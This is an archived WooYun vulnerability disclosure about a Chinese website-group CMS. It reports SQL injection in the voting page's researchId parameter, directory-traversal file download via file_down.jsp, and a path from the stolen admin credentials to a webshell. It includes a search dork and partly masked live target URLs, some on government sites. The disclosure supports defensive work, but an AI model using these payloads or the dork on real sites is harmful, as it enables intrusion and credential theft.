当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063579

漏洞标题:某网站群系统存在通用SQL注射+任意文件下载#可入后台getshell

相关厂商:Cncert国家互联网应急中心

漏洞作者: U神

提交时间:2014-06-04 22:58

修复时间:2014-09-02 23:00

公开时间:2014-09-02 23:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-04: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-11: 细节向第三方安全合作伙伴开放
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-09-02: 细节向公众公开

简要描述:

投票地方存在注入

详细说明:

#1.通用型建站程序介绍:

1、建站程序类型:JSP+MSSql
2、漏洞类型:SQL注入
3、缺陷文件:vote/voteok2.jsp 或vote/voteok.jsp
4、注入参数:researchId=
5、涉及版本:未知
7、危害程度:高危
8、涉及厂商:安徽汇能信息技术有限公司
9、厂商网站:http://www.hnkj.com.cn/
10、安装量:大
11、是否拥有源代码分析:暂无
12、关键字:inurl:newinfo.do?infoId
13、是否默认配置:是
14、枚举案例【应乌云的要求,枚举5例】:
【声明:以下提供的全部案例一方面证明通用型,一方面是给CNVD或Cncert测试,其他人不得用此作非法用途或者破坏操作,否则后果自负】
http://www.***.gov.cn/vote/voteok2.jsp?researchId=2
http://www.a***w.gov.cn/vote/voteok2.jsp?researchId=3
http://www.***y.gov.cn/vote/voteok2.jsp?researchId=2
http://www.a***.org.cn/vote/voteok2.jsp?researchId=3
http://www.***.ah.cn/vote/voteok2.jsp?researchId=3
.....等等

01.jpg

漏洞证明:

#2.注入证明(不测试gov站点):

http://www.***.com/vote/voteok2.jsp?researchId=3


明文密码:

02.jpg


http://www.***w.com/vote/voteok2.jsp?researchId=3


03.jpg


http://www.a***j.com/vote/voteok2.jsp?researchId=3


04.jpg


http://www.j***.ah.cn/vote/voteok2.jsp?researchId=3


05.jpg


http://www.a***g.com.cn/vote/voteok2.jsp?researchId=3


07.jpg


#3.任意文件下载:
漏洞文件:addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=
其中filename没有正确的判断下载文件的合法性,导致可以下载任意文件。
枚举三例:
http://www.a***y.cn/sjxyjyw/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=../../.../../../../index.jsp

08.jpg


http://zm71c.***gc.com/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=./file_down.jsp

09.jpg


http://www.ah***z.com/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=./../../../../admin/main.jsp

10.jpg


#3.可getshell,利用注入出的帐号密码,进入后台可以上传webshell,增加栏目的地方。

11.jpg


然后可以getshell

12.jpg

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-08 22:20

厂商回复:

CNVD确认并复现多个实例情况,已经转由CNCERT下发给安徽分中心(仅处置实例,未确认软件生产厂商)

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-05 16:59 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    你是什么时候提交的?

  2. 2014-06-26 19:05 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    其它注入已提交至360库带

  3. 2014-07-12 09:10 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    好叼、源生..